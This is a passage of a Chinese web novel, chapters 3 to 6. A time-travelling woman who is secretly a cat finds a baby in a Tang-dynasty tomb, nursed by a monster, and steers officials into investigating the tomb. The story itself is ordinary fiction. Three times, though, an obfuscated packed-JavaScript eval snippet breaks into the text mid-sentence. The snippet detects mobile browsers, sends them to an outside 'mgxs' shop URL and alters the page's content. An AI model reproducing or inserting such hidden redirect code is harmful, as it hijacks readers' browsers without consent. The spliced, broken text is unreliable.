《咪的天,咪能听到镇墓兽的心声》 3. 第 3 章 【嗡班扎巴尼吽!】 已然退避的方良,见姜姝快要走近棺椁,它不管不顾地奔回主墓室,冲她龇牙咧嘴。 镇墓兽的咒语不间断,且一声比一声大,对方良造成的伤害肉眼可见。 它的身子摇摇欲坠,几欲栽倒在地,但仍勉力强撑。头痛欲裂,便使劲拍打自己的脑袋缓解,尖利的指甲划破皮肤,汩汩鲜血肆意流淌,也寸步不让。 这只方良的种种怪异行为,不像是护食。 它努力张开双臂,挡在棺材前,一如遇天敌的母鸟,将雉雏护于羽翼之下。 姜姝驻足,看面目丑陋狰狞的方良那不协调的动作,她脑海里浮现出一个大胆的猜想。 现代狼孩的翻版,古代方良孩? 但她心里也没底,她不能拿条活生生的人命去贝者。 姜姝随手抄起旁边箱里的金步摇,将尖的那段对着方良,眼神坚定,缓步上前。 今天不管怎样,她都要确保婴孩的安全。 越接近棺椁,窸窸簌簌的声音越明显。 但显然不是棺内发出的,在棺材旁,一团白色的东西蜷缩在地。 “咩,咩,咩......” 有羊?还是活羊?哪家陪葬会放只羊? 姜姝百思不得其解,待见到羊的状态,她瞬间明白它的来历。 白羊侧躺在地,露出肿胀的女乃头,是只正在哺乳期的母羊。 母羊身上的伤痕,明眼人一看就知是方良指甲的杰作。 种种迹象表明,这只方良在喂养婴儿。 姜姝不再试图靠近棺材,而是隔着破洞口远远瞧上一眼。 婴孩面色红润,小手紧握成拳置于唇间,躺在五颜六色的绫罗绸缎里,睡得十分香甜。 看着他不谙世事的模样,姜姝喟然长叹:“这孩子,幸也不幸。” 方良还顶着除魔排障的咒语,虚张声势地守在棺椁旁,寸步不离。 姜姝移开目光,转身将四尊镇墓兽推放到正确位置上。人面和兽面在前,左右相对,置于墓门两侧,武士俑和天王俑分立地宫后,确保无死角守护。 不是她以小人之心度君子之腹,而是方良这个族群臭名远扬。 古话讲:“非我族类,其心必异。”一条活生生的人命,姜姝不敢贝者,也贝者不起。 小心行事总没错。 无意中,姜姝踩到块棺盖碎片,不经意的一瞥,上面的痕迹令她脊背发凉。 错乱复杂且入木三分的指痕,沾染着斑斑血迹,甚至有断裂的指甲盖横亘其中。 【主人当时是不是还没咽气?】 镇墓兽的话信息量太大,姜姝倒吸一口凉气,心乱如麻。 现在她不光要想办法救婴儿出去,还要为怀着孕惨遭活埋的墓主人发声,有冤屈不应被埋没在黑暗中。 但仅靠她个人力量,要想顺利完成这两件事,无异于杯水车薪。 当务之急是引官府参与进来,这样才能事半功倍。 * 姜姝妥善安排好墓内事宜,出去时早已落霞满天。 她避开守墓人,用爪子小心翼翼在墓后刨了个坑洞。(行为不可取哈,剧情需要。) 然后不顾酸软的前肢,撒丫子就跑。 墓园渐渐隐于山林深处,姜姝立马变回人形,夤夜赶往长安,半刻都不敢停歇。 远远望见夜色中高耸的城墙轮廓,长久紧绷的神经放松下来,霎时疲劳困意饥渴齐齐涌现。 她估摸着距离开城门还有些时辰,便在路边挑了棵大树,爬上去寻了根粗壮的枝桠补眠。 不知不觉间东方既白,姜姝顺着人流顺利进城。 诗中云:“九天阊阖开宫殿,万国衣冠拜冕旒。”①姜姝却无心观赏这千年前万国来朝的大唐首都——长安。 各个坊市随着朝阳醒过来,吆喝叫卖声不绝入耳。她随意找了个店面用过朝食,再一次感慨师傅用心良苦的见面礼,赠几块金饼,让她免于囊中羞涩的困境。 姜姝一路问询,直奔京兆府衙门。 鸣冤鼓的鼓声激昂,见捶棒之人是位娉娉袅袅的妙龄少女,转瞬便吸引众多百姓围观。 衙役将姜姝引至公堂上,皂班迅速到位,皆手持长约齐眉,上黑下红的水火棍,庄严肃穆的立于公堂两侧。 姜姝面上气定神闲,不受压抑环境的影响,心中早已汹涌澎湃。 她不能讲明有棺材子。古人多封建迷信,认为棺中产子是不详晦气的存在,届时舆论纷纷,不利于孩子后续的成长。 而活埋更不能提及。官府稍微调查便知她与亡者无半分交集,甚至可能会有暴露自身来历的风险,她不能冒进,必须徐徐图之。 她得想个完美的借口,引官府去查案,去救人。 刨土用力过猛的手,隐隐作痛,姜姝不动声色甩手缓解。脑中据此灵光一闪,绝佳的点子应运而生。 那是医学史课上关于古代临床医学不发达的原因讨论,有同学猜测的原因之一是没有大体老师供医者解剖研究。当时老师便以唐朝为例解释道:“唐律对盗墓,特别是偷盗他人尸体的行为有着严格的刑罚。” 但唐朝又流行厚葬之风,是以盗墓行为屡禁不绝。 以此为借口,简直是再完美不过的幌子了。 “威——武——” 水火棍持续敲击地面的声音唤起姜姝的神志,原来是衙官到位,正式开始升堂。 上座之人着青色圆领长袍,戴黑色幞头,是雍州府司法参军杜斌。 杜斌本就因长安最近频发的人口失踪案而焦头烂额,案件一直无进展,致使多位受害者家属诉状直达大理寺,状告雍州府衙门玩忽职守,草菅人命。 他刚才正在后堂接待前来问责的大理寺少卿裴怀,便听到鼓声隆隆。 此节骨眼上有人来报案,是把双刃剑,杜斌不确定自己能否在专业上司面前处理好案情。 他一路怀着忐忑的心情上堂,见报案之人是位娇弱的女郎,先入为主地以为又是处理些鸡毛蒜皮的小事,心下不耐,语气冷硬问: “堂下所站何人?因何敲响鸣冤鼓?” 姜姝不卑不亢地抬眸直视杜斌,语气真挚道:“长官,兹事体大,可否疏散围观群众。” 她的话如油溅水,周遭百姓对着她指指点点,议论纷纷,声势如洪。 杜斌犹豫不决,公堂开放受审一是为拉近与百姓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520861|203299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离,二是震慑不法分子,杜绝歪风邪气的蔓延,如若驱离百姓,届时...... “不可,有话直讲,莫要提无理要求。” 姜姝毫不退缩,坚持屏退无关人员,否则绝不开口。 杜斌气急,想治她个藐视公堂之罪,眼角余光瞥见屏风上的投影,喉舌间的语句被迫吞下,噎得他喉咙生疼。 隐于屏风后的裴怀,见场面僵持不下,召来随从,小声吩咐着什么。 随从领命离去,径直走向公堂上面目铁青的杜斌,恭敬行礼后,俯身耳语。 杜斌的脸由阴转晴,对着下方的姜姝,强挤出丝微笑:“小娘子既不愿大庭广众下陈情,烦请移步廊口。” 他边说边起身,率先大踏步离开。 姜姝顺着他离去的方向看去,心中哂笑道:“还真是挑了个好地方。” 所谓的廊口就是连接公堂和其它地方的通道口,视野开阔,与围观群众有一定距离,但也在吃瓜百姓视野范围内。 她举步跟上,几息便至廊口。 杜斌等待的间隙里,内心不断祈祷,千万不要是大案,否则他这个司法参军怕是做到头了。 “民女目睹终南山有人掘墓盗窃。” 闻言,杜斌鬼火直冒,这就是她口中的兹事体大?! 唐律虽白纸黑字写着盗墓行为的分类和刑罚标准,但普天之下,此类事太多,朝廷精力有限,只要不是偷盗皇亲国戚的墓,对此多是睁一只眼闭一只眼。 幸好不是什么罪大恶极的命案,杜斌暗自长舒口气。 “民女亲耳听闻他们今晚还会行动。” 杜斌摆手道:“本官知道了。”就挥手示意她离开。 姜姝品出他言行举止中的敷衍,倔强地站在原地,提高音量,一字一顿道:“有人预备挖墓开棺偷窃盗尸。” 杜斌仍无动于衷,现下雍州府上下精力都放在破失踪案上,甚至不惜从长安县和万年县抽调大批办案经验丰富的人员。 更何况在他看来,死人哪有活人重要。 他转身背对姜姝,正欲呼唤衙役带离她,猛然看见不远处坐在长廊上的绯色身影。 又转过身来,故意加大说话音量,装出一副平易近人的模样:“这件案子,本官受理了。请小娘子严明具体方位,稍后本官会亲自带队前往探查。” 杜斌别扭又反复无常的态度,引起姜姝的注意。 她敏锐意识到,这里隐藏个能左右杜斌态度的人,稍加利用好,对于救人雪冤有着重要作用。 姜姝心生一计,假装眼睛不舒服,借揉眼的机会,隐晦而快速扫过四周。 她的视线也从那道绯色背影上划过,心中了然,同样大声道:“长官,民女请求一同前往,民女识路且认得那伙贼人的样貌。” 如此理直气壮的请求,杜斌没法在裴怀的眼皮子底下拒绝,如此他阳奉阴违的打算落空。 他本想怒斥姜姝身为女子抛头露面,成何体统,又硬生生隐忍下来,拉着张脸:“随你便。” 如愿以偿的姜姝,被衙役带下去准备的时候,笑着朗声道:“观长官火气较旺,可得保重身子啊,累倒一心为民的父母官,某可是会伤心的!” 4. 第 4 章 “......累倒一心为民的父母官,某可是会伤心的。” 杜斌脸色骤变,他又不是蠢人,自然听出姜姝话里话外的讥讽。 偏偏她的话明面上挑不出任何毛病。 他倘若当场发火,治她罪名,众目睽睽下这脸皮往哪搁? 更何况那位还在场。 杜斌皮笑肉不笑地打哈哈,内心恨不得差人将胆大包天的姜姝拖回来,当着他面重打几十大板。 外围百姓见没热闹可看,渐渐三三两两散去。 皂班仍兢兢业业当值,杜斌站在廊口淡声吩咐他们退堂下值。 他则小跑着接近廊中之人,谄笑道:“裴少卿事必躬亲的态度,卑职深有触动,今后必当学习跟随。” 裴怀置若罔闻,兀自坐着,手持一卷案宗,看得仔细。 他的身旁还整齐堆放着其它卷宗,皆有翻阅过的痕迹。 杜斌小心觑了眼上官的神色,看不出任何信息,便低头安静侍立一旁。 忐忑紧张之余他还不忘心里再次感叹裴怀的皮相俊美,难怪圣人调侃他是当代卫玠。 “杜参军书法造诣颇高,裴某心生敬佩,想求副墨宝,与大理寺诸同僚共赏。” 清凌凌的嗓音拉回杜斌神游的心思。 墨宝?他看的是雍州府的案情卷宗?! 杜斌脸色一白,难怪刺史等人一早就找好借口躲了出去,果真是难缠严苛得紧。 “同曲芙蕖结伴出游踏春的人找到了吗?” “回少卿,还在找。” 裴怀深深地看了眼低眉顺眼的杜斌,没再言语,只是将手中的案宗递到杜斌眼前。 “曲芙蕖,年十五,神龙元年四月二日晚于永安坊家中无故失踪,衣物首饰钱财等均无丢失......” 杜斌只觉那些字词像被注入生命般,张牙舞爪朝他飞来,眼前顿时一黑,瘫软在地。 完了,一切都完了! 他身为司法参军,却对经手案件一无所知,且还是京师最近闹得沸沸扬扬的失踪案。 先前有多渲染自己为这桩案子多努力费神,现在的他就有多狼狈。 他任司法参军已逾十年之久,基本都是甩手掌柜的状态。每遇人报案,多是手下心腹代他走访调查,问询记录。 因此卷宗上才会笔迹风格多样。 而长期犯懒不运动,在杜斌身材上体现得淋漓尽致。 三十多岁的年龄,正值壮年,却挺着个大肚腩,扣到最外层的蹀躞带更是衬得他腰身粗圆。 “衙内既杜参军一人清闲,那便劳你亲赴终南山缉捕盗墓贼吧!” “切记,一路不可骑马,也不可乘轿,走着去。” 杜斌面有菜色,从长安走去终南山,近三十公里的路,还不能耽搁抓贼的时机,裴少卿这是铁了心要惩治他啊。 但他不敢有异议,满口应承下来,希冀将这件案子办得漂亮,好将功折罪。 * 百无聊赖的姜姝,终于等到前来唤她出发的衙役。 雍州府衙后门巷子里,五个人对着两匹马神色各异。 裴怀淡淡吩咐:“孔武,去换辆马车。” 孔武领命,从两匹马中随意牵走一匹,扬长而去。 此等操作惊得姜姝目瞪口呆。 啥意思?这么多人挤一辆马车?这么抠搜的吗? 她正欲开口,另一位侍从打扮的少年似看出她的疑虑,率先解释道:“马车是为小娘子你准备的,一人独享。” 姜姝怔愣,从穿越起,她本没寄希望于这讲尊卑阶级的社会对她有所优待,更何况在场还有两名官吏,却没想到..... 她脸上漾起笑容,声音清亮:“多谢。”顿了顿,复开口道:“姜姝,姜太公的姜,静女其姝的姝。” 少年见姜姝自报家门,话匣子也随之打开,絮絮叨叨说个不停:“我叫霍力,霍去病的霍,力气的力,我们都是青史留名之人的姓氏欸,好巧哦。” 霍力又指向一旁玉树临风的男子,带着股与有荣焉的语气介绍道:“这是我家少爷,大理寺少卿裴怀。” 轮到引见杜斌时,他语气瞬间变得平静无波:“这位长官是雍州府司法参军杜斌。” 俩人谈笑间,孔武赶着马车回来了。 霍力兴奋地一把拽下孔武,冲姜姝介绍道:“这是孔武,孔夫子的孔,武功的武。”末了又感叹道:“我们仨的姓真的太有说法了!” 姜姝颔首以示认同,确实有意思,孔武有力组合! “行了,别贫嘴了,赶路要紧。”孔武捂住霍力的嘴,提醒在场众人注意时辰。 霍力瞟了眼失魂落魄的杜斌,深以为然的点头,确实该上路了,不然以某人的体格,怕是...... 他扒拉开孔武的手,热情招呼姜姝上马车:“姜小娘子,孔武赶马车的技术可好了,摇摇晃晃的,非常适合睡觉。” 姜姝迟疑着上了车,这对吗?非常适合睡觉?完犊子,她不会上了贼船...不对,贼车吧?她几乎可以想象自己晕马车的狼狈模样。 她挑开帷裳,语气诚恳说:“孔武兄,看在同是历史名流姓的份上,手下留情啊!” 孔武面无表情的提溜着嬉皮笑脸的霍力上马车,左右坐好,背身严肃回话:“他孩子话,姜小娘子别放心上。” 他老成持重的模样很有说服力,姜姝心里踏实许多。正谷欠放下帷裳,眼角余光瞥见裴怀也已翻身上马,只剩下如霜打茄子般的杜斌呆立原地。 霎那间,无数念头从姜姝脑海中闪过。 刚公堂上的杜斌还生龙活虎,怎短短时间内,精神面貌相差如此之大,甚至连远距离出外勤都不备匹马,究竟发生了什么? 她的目光在裴怀和杜斌身上流转,想八卦的心溢于言表。 马车缓缓移动,犹如乌龟爬行,慢到姜姝怀疑人生,她下去走都比这速度快。 她再次挑开帷裳,一眼便看到跟在后面,慢吞吞走着的杜斌,瞬间恍然大悟。 慢点好哇,也省得她另外想方设法拖延时间。 姜姝索性放松身体,倚靠在车厢上酝酿睡意。 自穿越起,她便没睡过一个囫囵觉,精神长期处于高压紧绷状态。 昨晚又连夜赶路,明明身体已经很疲累了,脑部神经活动却十分活跃。 加上马车渐渐行至街市,周遭人声鼎沸,她更难以入眠。 姜姝没料到的是大理寺少卿会介入这桩微末案件,眼下形势如脱缰野马,渐渐脱离她的掌控。 不好骗哇!姜姝支颐假寐,内心哀嚎。 毕竟年纪轻轻,能在长安做到从四品上官职,他裴怀就不可能是蠢人庸才。 倘若只是雍州司法参军杜斌带队还好,从公堂上和他短暂的交锋,姜姝便知此人浮躁愚钝好面子,随便给他戴顶高帽或言语刺激便能轻易达到目的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520862|203299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下却是难办! 更何况她不是人,只是只柔弱无助的小猫咪,是时人口中吓唬不听话孩童的精怪。 在对鬼神讳莫如深的古代,她走的每一步都得深思熟虑,否则一招不慎,就可能迎来灭顶之灾,尸骨无存。 眼下要紧的是如何撇清自己的干系?如何将他们的目光引至墓内?如何让他们意识到地底下有条活生生的人命在等待救援?如何让他们发现墓主人的死亡或有蹊跷? 而古代开棺掘坟是大忌,真有人甘愿冒天下之大不韪,陪她走上一遭吗? 种种皆是难题。 姜姝思来想去也未找到最优解,干脆字面意思上躺平,望着车厢顶部发神。 * 一行五人到达终南山地界时,早已月上中天。但无一人着急。 所谓擒贼擒王,捉贼捉脏。黑夜是犯罪最好的保护伞,更遑论盗墓贼这见不得光的职业。 天越晚越黑越好。 几人甚至还有闲心,傍晚路过客栈时,美美享受了顿丰盛的飧食,弥补晌午味同嚼蜡般的蒸饼。 唯有杜斌,从始至终未吃过一口饭食,只是一味喝水。 他喝完就两眼空空地瘫在板凳上,大口大口喘着粗气,一副要死不活的样子。 这一路下来,可把杜斌累坏了。 刚出发时,他磨磨蹭蹭,走得极慢。姜姝以为他又在躲懒,却没想到他出城门后就夺命狂奔,跑出道靓丽的风景线。 待上山时,杜斌早已力竭,时时气喘如牛,一步三歇。 霍力故意挤兑他:“杜参军,你的呼吸声吵到盗墓贼了。” 闻言,姜姝扑哧笑出声,好毒的一张嘴,她喜欢。 杜斌累到讲不出话,一双死鱼眼死命瞪着他们,臭着脸心想:“三十年河东,三十年河西,莫欺中年穷①......你们以后最好别栽我手里,否则......” 月光如练,照得人间亮堂堂的,火把橘红的光又为清冷的世界增添几分暖意。 几人的影子被拉得很长,姜姝的眼珠有自己的想法,死死黏在不断晃动的人影上。 好想踩上去,看着就好玩。 姜姝愕然,她并不是个童心未泯的人,为什么脑海里会萌生那样的念头?! 还未等她想明白,目的地已近在眼前。 “哪来的宵小,竟敢擅闯温家墓地,真是活腻歪了。” 随厉声呵斥而来的,是棍棒起势扬起的猎猎风声。 头前引路的姜姝,只觉一阵风拂过脸庞,带起些许碎发飘扬。 下一秒,“哐当——”有东西重重摔落滚远,声音在寂静的夜里无限放大。 原本来势汹汹的老人跪伏在地,浑身颤抖不止:“草民有眼不识泰山,冲撞各位长官,罪该万死。” 姜姝扶起老人,宽慰道:“老丈尽忠职守,两位长官都是通情达理之人,岂会怪罪。” 霍力不放过任何夸赞自家少爷的机会,凑上前附和道:“是啊,我家少卿芝兰玉树、风度翩翩、气宇轩昂、虚怀若谷、温文尔雅、忠贞不二、刚正不阿、和蔼可亲......” 一旁的姜姝被他报菜名似的夸奖震撼。她目瞪口呆地看着仍喋喋不休的霍力,怀疑他是将所有知晓且用来形容人好的成语都套上去用了。 毕竟有些词放裴怀身上实在违和。 温文尔雅?和蔼可亲? 跟她见到的是同一个人? 5.第 5 章 霍力每蹦出个新词,姜姝就扭头瞅一眼裴怀。 无它,实在是天壤之别。 她见霍力半眯着眼夸,以为是有什么奇效,果断效仿。 再看裴怀时,果真自带朦胧神圣的光辉。 火把光被风吹得左右摇曳,照在裴怀始终淡漠的脸上,衬得他眼眸越发深邃明亮。 处于话题中心的他,只是轻轻瞥了眼霍力,后者便讪笑着闭嘴。 场面顿时沉寂,连杜斌吭哧吭哧的喘息声也微不可闻。 姜姝生性活泼,受不了这严肃的场面,心里默默吐槽着:“借他势狐假虎威,不对,猫假虎威,加一分;换马车,加一分;长得帅,加一分;太聪明,扣十分;动不动制造冷气,扣十分......官大却不解风情,肯定不受媳妇待见。” 她嘀哩咕噜计算着分值,嘴里不自觉发出声音。 路过她身旁的裴怀,耳尖听到几句话,心知肚明是在说他。 只是这不受待见?媳妇?每个字他都认识,组合起来的意思他却拿不准。 裴怀脚步不停,思忖这位姜小娘子,不同于他二十二年来见过的任何一名女子,言行举止颇为大胆,又有些怪异。 他走,余下的人跟着他动起来,一同进入温家墓园。 负责守墓的老人驮着背,落后裴怀半步走着,垂眸寻思官吏深更半夜现身墓地的原因。 裴怀不动声色地环顾墓园环境,状似不经意地问道:“老人家,近日终南山可太平?” “回少卿,老朽终日待在墓园,并不大知晓外面的情况。” 裴怀对守墓人的话不置可否,话锋一转询问姜姝:“姜小娘子,你觉得呢?” 姜姝心里无声尖叫,来了,真正的考验来了,让暴风雨来得更猛烈些吧!① 面上却是神色自若,她坦然直视裴怀,反问道:“裴少卿不信我?” 早已累得不顾形象瘫坐在地的杜斌,一听此话,心里的怨气再也压抑不住。 他蹭地起身,指着姜姝质问:“这地方一览无余的,哪个墓遭盗了?不都完好无损吗?况且还有守墓人在,哪个不长眼的小贼会主动撞上来?若真有这样的蠢材,本参军和你姓!” “盗墓贼?不可能,老朽一直在墓园,未曾离开半步,从未见过任何可疑人士。” 涉及饭碗问题,守墓人情绪激动,矢口否认。 姜姝抿唇,没有开口辩驳,沉默着将几人引至墓地西北角落。 裴怀的视线从墓碑上一一扫过,温家?间有熟悉的名字出现,他才想起是长安贩卖西域香料闻名的富商大贾。 确实是大户人家,难怪可能被盗墓贼盯上。 只是这墓?长眼的人都能看出差别。 别的墓青砖石砌,唯有这座,黄土坟堆。 霍力拍了拍守墓人的背,问出众人的疑惑:“老丈,能葬入祖坟的多是嫡系,怎它如此寒酸?墓主人犯啥十恶不赦的大罪了吗?” 守墓人面露难色,讷讷不语。 按理来说,作为下人,他不该多嘴主家的事。但这事,主家办得确实不地道。 “这是我家小姐...不,看我老糊涂了,这是我家夫人的墓,新丧不过四天。” “可怜夫人她英年早逝,又是横死,主家请了术士,说是算出夫人停灵太久或阴宅奢靡都有碍家族气运,因此便草草下葬。” 姜姝气极反笑:“仅凭术士一面之词,就如此对待至亲之人,简直冷血荒唐!” 霍力点头附和,侧身和孔武商量:“这么神通广大,改日你我上门拜访,见识见识这位术士的厉害。” 见孔武点头答应,他立马盛情邀请姜姝一同见证,还不忘拉上裴怀:“郎君,老规矩哈。” 姜姝自然没错过听到术士时,裴怀眼里闪过的厌恶与不快。 她来不及细想,就被守墓人的话打断思绪。 “盗墓贼既为求财,挑个没啥陪葬品的墓盗有什么意思?各位长官明鉴啊!” 姜姝径直绕到墓后面,装模做样小声唤道:“裴少卿,杜参军,这里!” 众人蜂拥而至,确有个坑洞正大光明的敞开黑黝黝的怀抱,显露于人前。 孔武半跪弯腰凑近洞口,手里的火把仅能照亮小片范围,再往里是无边的漆黑。 他起身回禀:“郎君,洞口很窄,不能通人,除非贼人练过缩骨功。” 闻言,裴怀蹲下身,垂眸仔细观察着周围。 坑洞周遭的痕迹不像是洛阳铲之类的工具造成的,倒像是...... 他的目光定格在一处土块,伸手丈量上面还算规整的痕迹,推测道:“像是某种动物的爪痕。” 姜姝的心提到嗓子眼,要露馅了吗?不行,不能再让他看下去了。 她绞尽脑汁想转移众人注意力,好在上天眷顾,一道黑影从坑洞里窜出,眨眼间便消失在无边黑夜。 裴怀反应敏捷,快速闪躲,才不至被乍然出现的东西撞翻在地。 想到刚近距离的匆匆一瞥,他轻蹙眉头,怀疑是光线太暗,自己眼花了。 他下巴微扬,孔武和霍力心领神会地跟上去,几个起落,就同黑影般消失得无影无踪。 “哇塞,轻功!” 姜姝目光灼灼,直面古武的兴奋溢于言表。 杜斌见状,阴阳怪气道:“呵,脚底板长眼睛。” 姜姝反唇相讥:“报案遇上杜参军,哦,不对,好像该称呼姜参军了,真似曹操遇蒋干。” 俩人大眼瞪小眼,谁也不让着谁。 守墓人一拍大腿,喃喃自语道:“我才倒霉!儿子五天前摔断腿,让我临时顶上。我替温家守墓几十年,从未出过任何差错,怎今天就出此等祸事,主家肯定不会轻饶我的!” 老人呜咽悲怆的哭诉声,听得姜姝心里难受。 是她思虑不周,连累无辜之人。 哪怕出发点是好意,但以伤害他人利益得来的,她又良心不安。 不行,得想法子将老人家摘出去。 姜姝故作诧异:“老伯,不是您先发现这伙穷凶极恶的盗墓贼吗?特意托我下山报官的。” 老人怔愣片刻,姜姝的话让他摸不着头脑。 见他反应不过来,姜姝重复道:“这伙盗墓贼,个个看着穷凶极恶的,都不好惹的样子。您特意托我下山报官,独自在这里守着。” 这次老人反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531308|203299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,她这是在为他开脱。 姜姝特意加重的字词提醒了他,一伙,穷凶极恶,盗墓贼,哪是他这个半截身子快入土的糟老头子能对付得了的。 “老了,不中用了,眼花耳背记性还不好,让各位长官见笑了。” 老人强挤出抹微笑,却比哭还难看。 当着两名主掌刑律司法的长官窜供,姜姝脸不红心不跳。毕竟只要咬死不承认,他们也不能拿她怎么样。 杜斌琢磨明白这番对话,霎时来劲,腰也不疼,腿也不酸了。 他先前就暗暗发誓,如果抓住姜姝的小辫子,他一定往死里整她。 这可是现成的把柄递上来,他就不客气了。 杜斌乜了眼姜姝,幸灾乐祸道:“按二位如今的说法,那姜小娘子岂不是在公堂上说谎了?” “《唐律疏议》炸伪篇中言:‘诸证不言情,及译人诈伪,致罪有出入者,证人减二等,译人同罪。’②姜小娘子如若不信,大可问问裴少卿。裴少卿人中龙凤,对这些大大小小的律法可谓是倒背如流,如数家珍,定能让你心服口服。” 姜姝贫瘠的文言知识早就还给高中语文老师了。她迷迷瞪瞪听完,下意识向裴怀寻求帮助:“他叽里咕噜说啥呢?能翻译成人话不?” 裴怀见她神情不似作伪,强烈的违和感再次涌上心头。眼前之人,似与世间隔了层膜,时而格格不入。 他有意炸她,故意将后果说得非常严重,“报案隐瞒真实情况,致使罪有出入的,按所出入的刑罚减轻二等处罚报案人。” 看她仍一副云里雾里的样子,裴怀干脆举例道:“就像姜小娘子报案称有人盗墓,如若是假,姜小娘子需承担三年徒刑减二等,即徒刑两年,收监至少府监下辖的各署从事缝纫劳作。” 姜姝不自觉脑补入狱整日做女红的场景,她摇摇头,试图将胡思乱想全都甩飞出去。 况且她也不算报假案啊,姜姝理直气壮地想。 温夫人墓里确实进贼了,虽然是只小猫咪和方良,但怎么不算外来入侵物种呢? 而且刚刚从他们眼皮子底下逃跑的,不就是现成的盗墓贼吗?! 自从穿成猫,姜姝发现自己的视力变得非常好。那个速度极快逃窜的黑影,她一眼便认出是本该在地宫内抚育婴儿的方良。 姜姝庆幸方良的离开,暗自长舒口气。简直是完美的不在场背锅侠,还省得吓到这群人。 眼下重中之重是如何引起他们对墓内的关注? 【救命——】 【啊啊啊啊啊,完了,他醒了。】 【方良呢?它也不管这混世小魔头了吗?】 【快,快堵住耳朵!】 镇墓兽们凄厉的哀嚎声传来,姜姝顿时计上心头。 她款步上前,不经意间左脚绊右脚,整个人失去重心摔倒在地,恰好摔在坑洞旁。 众人见她长久不起身,一直趴着,都以为她体弱,摔晕过去了。 守墓的老人心软上前,正准备扶起她。 不期然姜姝突然抬头,脸上沾着些许泥土,她也顾不上擦,惶然望着几人,惊恐未定道:“墓里...墓里好像有...有婴儿的哭声!” 6.温采蓉 “墓...墓内...有...婴儿的哭声!” 姜姝的话太过匪夷所思,几人齐刷刷望向坑洞,脸上神色各异。 “休要胡说八道,信不信本参军现在就治你个妖言惑众的罪名。” 杜斌色厉内荏地吼着,双腿颤颤巍巍,不知是累的,还是害怕。 裴怀藏于袖中的手骤然收紧,指尖用力到发白。 他深吸口气,强压下纷乱的思绪,迈步上前,欲亲耳验证哭声真伪。 但姜姝整个身子紧紧趴在洞口,已无多余地方供他行动。 他观她脸色煞白,眼里透着惊惶,不顾形象地坚持侧耳聆听,心里微微触动。 虽早前都安排妥当了,但姜姝还是怕孩子会出现意外状况。 耳边婴儿尖利的哭声忽远忽近,忽大忽小,中气十足的样子,应是无虞。 她心头一松,眼前突兀出现根木棍。 姜姝疑惑地顺着棍子往上看,是裴怀。 他依旧冷着张脸,瞧不出任何情绪波动,抓住木棍的手骨节分明,瞧这架势是想拉她起来。 姜姝愣了几秒,不是,瞧不起谁呢? 她摇头拒绝棍子的助力,双手往地上一撑,利索站起身的同时,还不忘对着裴怀横眉竖眼。 裴怀接收到信号,内心阵阵无语,果真还是个孩子。 他学着姜姝的样子,趴在洞口仔细倾听,丝毫不顾及身上簇新的官服。 “哇——哇——哇——”确实是婴儿的哭声。 裴怀心里掀起惊涛骇浪,是精怪作祟?还是真有婴儿诞生于墓内? 他沉默着直起身,杜斌见他神色难看,嘴里的嘟囔渐渐噤声。 夜半三更,深山老林,墓园,婴儿哭声......杜斌不敢细想下去。 舒缓的夜风吹在身上,带来的不再是凉爽惬意,而是满身鸡皮疙瘩。 他不禁打了个寒颤,磕磕巴巴问:“裴...裴少卿,此地凶险,要不明日...不,天亮再来?” “郎君,没追上。” 孔武和霍力无声无息出现,吓得如惊弓之鸟般的杜斌“啊”的大叫出声。 杜斌耳边回荡着自己的尖叫,脸臊得通红,僵立在原地。 他不敢抬头看众人的反应,索性先声夺人,朝守墓老人恶声恶气道:“老东西,是不是你联合这个女人装神弄鬼。” 杜斌边说边逼近老人,直至一把揪住老人衣领,拽得老人踉踉跄跄。 姜姝和裴怀不约而同行动,后者一巴掌拍掉杜斌的手,前者立马扶住老人站稳。 老人始终低着头,如提线木偶般任人摆弄,丝毫不关心外界的冲突。 他失魂落魄的模样,显然是有心事。 杜斌嗬嗬冷笑:“我就说这老东西有问题吧,你们还不信我!” 姜姝白了他一眼,轻声试探着问:“老人家可是知晓什么内情吗?” 守墓老人如梦方醒,抬头泪眼婆娑地望着坟冢,嘴唇嗫嚅了几下。 许久,老人沧桑低哑的声音响起:“我家夫人,恰逢临盆之际仙逝,一尸两命啊!” 他哽咽着再也说不出话,捂着脸嚎啕痛哭。 几人面面相觑,一股寒意从脊背升起。 难产而亡,那这婴儿哭声作何解释? 孔武板着张脸,从怀里掏出件东西,沉声道:“郎君,这是从黑影身上掉下来的东西。” 姜姝定睛一看,是一条藕色(浅灰中略带红)披帛,上面绘着成片成片的荷花。 她心里讶异,方良也分公母?也爱臭美打扮? “披帛的主人是温夫人。” 裴怀的话如石破天惊,震得几人头皮发麻。 荷花,是芙蓉的别称,披帛一角上绣着的温字,都在指向一个人——温采蓉。 